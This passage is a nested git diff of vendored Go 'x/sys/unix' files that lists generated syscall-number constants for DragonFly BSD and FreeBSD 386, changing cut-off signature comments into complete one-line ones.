-- SYS_MMAP = 197 // { caddr_t mmap(caddr_t addr, size_t len, int prot, \
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_MMAP = 197 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, int pad, off_t pos); }
- // SYS_NOSYS = 198; // { int nosys(void); } __syscall __syscall_args int
-- SYS_LSEEK = 199 // { off_t lseek(int fd, int pad, off_t offset, \
-+ SYS_LSEEK = 199 // { off_t lseek(int fd, int pad, off_t offset, int whence); }
- SYS_TRUNCATE = 200 // { int truncate(char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, \
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
- SYS_UNDELETE = 205 // { int undelete(char *path); }
- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS___SEMCTL = 220 // { int __semctl(int semid, int semnum, int cmd, \
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS___SEMCTL = 220 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
- SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-- SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, \
-- SYS_MSGCTL = 224 // { int msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, u_int nsops); }
-+ SYS_MSGCTL = 224 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { caddr_t shmat(int shmid, const void *shmaddr, \
-- SYS_SHMCTL = 229 // { int shmctl(int shmid, int cmd, \
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { caddr_t shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMCTL = 229 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
- SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
- SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, \
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int issetugid(void); }
- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
- SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-- SYS_EXTPREADV = 289 // { ssize_t extpreadv(int fd, struct iovec *iovp, \
-- SYS_EXTPWRITEV = 290 // { ssize_t extpwritev(int fd, struct iovec *iovp,\
-+ SYS_EXTPREADV = 289 // { ssize_t extpreadv(int fd, struct iovec *iovp, u_int iovcnt, int flags, off_t offset); }
-+ SYS_EXTPWRITEV = 290 // { ssize_t extpwritev(int fd, struct iovec *iovp,u_int iovcnt, int flags, off_t offset); }
- SYS_FHSTATFS = 297 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
- SYS_MODNEXT = 300 // { int modnext(int modid); }
-@@ -200,34 +200,34 @@ const (
- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, \
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGACTION = 342 // { int sigaction(int sig, const struct sigaction *act, \
-+ SYS_SIGACTION = 342 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
- SYS_SIGRETURN = 344 // { int sigreturn(ucontext_t *sigcntxp); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set,\
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set,\
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set,siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set,siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { int extattr_set_file(const char *path, \
-- SYS_EXTATTR_GET_FILE = 357 // { int extattr_get_file(const char *path, \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { int extattr_set_file(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { int extattr_get_file(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
- SYS_AIO_WAITCOMPLETE = 359 // { int aio_waitcomplete(struct aiocb **aiocbp, struct timespec *timeout); }
- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-+ SYS_KEVENT = 363 // { int kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
- SYS_LCHFLAGS = 391 // { int lchflags(char *path, int flags); }
- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, \
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
- SYS_VARSYM_SET = 450 // { int varsym_set(int level, const char *name, const char *data); }
- SYS_VARSYM_GET = 451 // { int varsym_get(int mask, const char *wild, char *buf, int bufsize); }
- SYS_VARSYM_LIST = 452 // { int varsym_list(int level, char *buf, int maxsize, int *marker); }
-@@ -245,58 +245,58 @@ const (
- SYS_FSTAT = 476 // { int fstat(int fd, struct stat *sb); }
- SYS_LSTAT = 477 // { int lstat(const char *path, struct stat *ub); }
- SYS_FHSTAT = 478 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-- SYS_GETDIRENTRIES = 479 // { int getdirentries(int fd, char *buf, u_int count, \
-+ SYS_GETDIRENTRIES = 479 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
- SYS_GETDENTS = 480 // { int getdents(int fd, char *buf, size_t count); }
-- SYS_USCHED_SET = 481 // { int usched_set(pid_t pid, int cmd, void *data, \
-+ SYS_USCHED_SET = 481 // { int usched_set(pid_t pid, int cmd, void *data, int bytes); }
- SYS_EXTACCEPT = 482 // { int extaccept(int s, int flags, caddr_t name, int *anamelen); }
- SYS_EXTCONNECT = 483 // { int extconnect(int s, int flags, caddr_t name, int namelen); }
- SYS_MCONTROL = 485 // { int mcontrol(void *addr, size_t len, int behav, off_t value); }
- SYS_VMSPACE_CREATE = 486 // { int vmspace_create(void *id, int type, void *data); }
- SYS_VMSPACE_DESTROY = 487 // { int vmspace_destroy(void *id); }
-- SYS_VMSPACE_CTL = 488 // { int vmspace_ctl(void *id, int cmd, \
-- SYS_VMSPACE_MMAP = 489 // { int vmspace_mmap(void *id, void *addr, size_t len, \
-- SYS_VMSPACE_MUNMAP = 490 // { int vmspace_munmap(void *id, void *addr, \
-- SYS_VMSPACE_MCONTROL = 491 // { int vmspace_mcontrol(void *id, void *addr, \
-- SYS_VMSPACE_PREAD = 492 // { ssize_t vmspace_pread(void *id, void *buf, \
-- SYS_VMSPACE_PWRITE = 493 // { ssize_t vmspace_pwrite(void *id, const void *buf, \
-+ SYS_VMSPACE_CTL = 488 // { int vmspace_ctl(void *id, int cmd, struct trapframe *tframe, struct vextframe *vframe); }
-+ SYS_VMSPACE_MMAP = 489 // { int vmspace_mmap(void *id, void *addr, size_t len, int prot, int flags, int fd, off_t offset); }
-+ SYS_VMSPACE_MUNMAP = 490 // { int vmspace_munmap(void *id, void *addr, size_t len); }
-+ SYS_VMSPACE_MCONTROL = 491 // { int vmspace_mcontrol(void *id, void *addr, size_t len, int behav, off_t value); }
-+ SYS_VMSPACE_PREAD = 492 // { ssize_t vmspace_pread(void *id, void *buf, size_t nbyte, int flags, off_t offset); }
-+ SYS_VMSPACE_PWRITE = 493 // { ssize_t vmspace_pwrite(void *id, const void *buf, size_t nbyte, int flags, off_t offset); }
- SYS_EXTEXIT = 494 // { void extexit(int how, int status, void *addr); }
- SYS_LWP_CREATE = 495 // { int lwp_create(struct lwp_params *params); }
- SYS_LWP_GETTID = 496 // { lwpid_t lwp_gettid(void); }
- SYS_LWP_KILL = 497 // { int lwp_kill(pid_t pid, lwpid_t tid, int signum); }
- SYS_LWP_RTPRIO = 498 // { int lwp_rtprio(int function, pid_t pid, lwpid_t tid, struct rtprio *rtp); }
-- SYS_PSELECT = 499 // { int pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_PSELECT = 499 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sigmask); }
- SYS_STATVFS = 500 // { int statvfs(const char *path, struct statvfs *buf); }
- SYS_FSTATVFS = 501 // { int fstatvfs(int fd, struct statvfs *buf); }
- SYS_FHSTATVFS = 502 // { int fhstatvfs(const struct fhandle *u_fhp, struct statvfs *buf); }
-- SYS_GETVFSSTAT = 503 // { int getvfsstat(struct statfs *buf, \
-+ SYS_GETVFSSTAT = 503 // { int getvfsstat(struct statfs *buf, struct statvfs *vbuf, long vbufsize, int flags); }
- SYS_OPENAT = 504 // { int openat(int fd, char *path, int flags, int mode); }
-- SYS_FSTATAT = 505 // { int fstatat(int fd, char *path, \
-- SYS_FCHMODAT = 506 // { int fchmodat(int fd, char *path, int mode, \
-- SYS_FCHOWNAT = 507 // { int fchownat(int fd, char *path, int uid, int gid, \
-+ SYS_FSTATAT = 505 // { int fstatat(int fd, char *path, struct stat *sb, int flags); }
-+ SYS_FCHMODAT = 506 // { int fchmodat(int fd, char *path, int mode, int flags); }
-+ SYS_FCHOWNAT = 507 // { int fchownat(int fd, char *path, int uid, int gid, int flags); }
- SYS_UNLINKAT = 508 // { int unlinkat(int fd, char *path, int flags); }
-- SYS_FACCESSAT = 509 // { int faccessat(int fd, char *path, int amode, \
-- SYS_MQ_OPEN = 510 // { mqd_t mq_open(const char * name, int oflag, \
-+ SYS_FACCESSAT = 509 // { int faccessat(int fd, char *path, int amode, int flags); }
-+ SYS_MQ_OPEN = 510 // { mqd_t mq_open(const char * name, int oflag, mode_t mode, struct mq_attr *attr); }
- SYS_MQ_CLOSE = 511 // { int mq_close(mqd_t mqdes); }
- SYS_MQ_UNLINK = 512 // { int mq_unlink(const char *name); }
-- SYS_MQ_GETATTR = 513 // { int mq_getattr(mqd_t mqdes, \
-- SYS_MQ_SETATTR = 514 // { int mq_setattr(mqd_t mqdes, \
-- SYS_MQ_NOTIFY = 515 // { int mq_notify(mqd_t mqdes, \
-- SYS_MQ_SEND = 516 // { int mq_send(mqd_t mqdes, const char *msg_ptr, \
-- SYS_MQ_RECEIVE = 517 // { ssize_t mq_receive(mqd_t mqdes, char *msg_ptr, \
-- SYS_MQ_TIMEDSEND = 518 // { int mq_timedsend(mqd_t mqdes, \
-- SYS_MQ_TIMEDRECEIVE = 519 // { ssize_t mq_timedreceive(mqd_t mqdes, \
-+ SYS_MQ_GETATTR = 513 // { int mq_getattr(mqd_t mqdes, struct mq_attr *mqstat); }
-+ SYS_MQ_SETATTR = 514 // { int mq_setattr(mqd_t mqdes, const struct mq_attr *mqstat, struct mq_attr *omqstat); }
-+ SYS_MQ_NOTIFY = 515 // { int mq_notify(mqd_t mqdes, const struct sigevent *notification); }
-+ SYS_MQ_SEND = 516 // { int mq_send(mqd_t mqdes, const char *msg_ptr, size_t msg_len, unsigned msg_prio); }
-+ SYS_MQ_RECEIVE = 517 // { ssize_t mq_receive(mqd_t mqdes, char *msg_ptr, size_t msg_len, unsigned *msg_prio); }
-+ SYS_MQ_TIMEDSEND = 518 // { int mq_timedsend(mqd_t mqdes, const char *msg_ptr, size_t msg_len, unsigned msg_prio, const struct timespec *abs_timeout); }
-+ SYS_MQ_TIMEDRECEIVE = 519 // { ssize_t mq_timedreceive(mqd_t mqdes, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
- SYS_IOPRIO_SET = 520 // { int ioprio_set(int which, int who, int prio); }
- SYS_IOPRIO_GET = 521 // { int ioprio_get(int which, int who); }
- SYS_CHROOT_KERNEL = 522 // { int chroot_kernel(char *path); }
-- SYS_RENAMEAT = 523 // { int renameat(int oldfd, char *old, int newfd, \
-+ SYS_RENAMEAT = 523 // { int renameat(int oldfd, char *old, int newfd, char *new); }
- SYS_MKDIRAT = 524 // { int mkdirat(int fd, char *path, mode_t mode); }
- SYS_MKFIFOAT = 525 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 526 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_READLINKAT = 527 // { int readlinkat(int fd, char *path, char *buf, \
-+ SYS_MKNODAT = 526 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_READLINKAT = 527 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
- SYS_SYMLINKAT = 528 // { int symlinkat(char *path1, int fd, char *path2); }
- SYS_SWAPOFF = 529 // { int swapoff(char *name); }
-- SYS_VQUOTACTL = 530 // { int vquotactl(const char *path, \
-- SYS_LINKAT = 531 // { int linkat(int fd1, char *path1, int fd2, \
-+ SYS_VQUOTACTL = 530 // { int vquotactl(const char *path, struct plistref *pref); }
-+ SYS_LINKAT = 531 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flags); }
- SYS_EACCESS = 532 // { int eaccess(char *path, int flags); }
- SYS_LPATHCONF = 533 // { int lpathconf(char *path, int name); }
- SYS_VMM_GUEST_CTL = 534 // { int vmm_guest_ctl(int op, struct vmm_guest_options *options); }
-@@ -308,7 +308,7 @@ const (
- SYS_FUTIMENS = 540 // { int futimens(int fd, const struct timespec *ts); }
- SYS_ACCEPT4 = 541 // { int accept4(int s, caddr_t name, int *anamelen, int flags); }
- SYS_LWP_SETNAME = 542 // { int lwp_setname(lwpid_t tid, const char *name); }
-- SYS_PPOLL = 543 // { int ppoll(struct pollfd *fds, u_int nfds, \
-+ SYS_PPOLL = 543 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *sigmask); }
- SYS_LWP_SETAFFINITY = 544 // { int lwp_setaffinity(pid_t pid, lwpid_t tid, const cpumask_t *mask); }
- SYS_LWP_GETAFFINITY = 545 // { int lwp_getaffinity(pid_t pid, lwpid_t tid, cpumask_t *mask); }
- SYS_LWP_CREATE2 = 546 // { int lwp_create2(struct lwp_params *params, const cpumask_t *mask); }
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-index b64a8122..9474974b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
-- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-- SYS_SETGID = 181 // { int setgid(gid_t gid); }
-- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-- SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-- SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-- SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, \
-- SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, \
-- SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, \
-- SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, \
-- SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, \
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, \
-- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-- SYS_UNDELETE = 205 // { int undelete(char *path); }
-- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime( \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, \
-- SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-- SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, \
-- SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct \
-- SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-- SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-- SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( \
-- SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( \
-- SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,\
-- SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
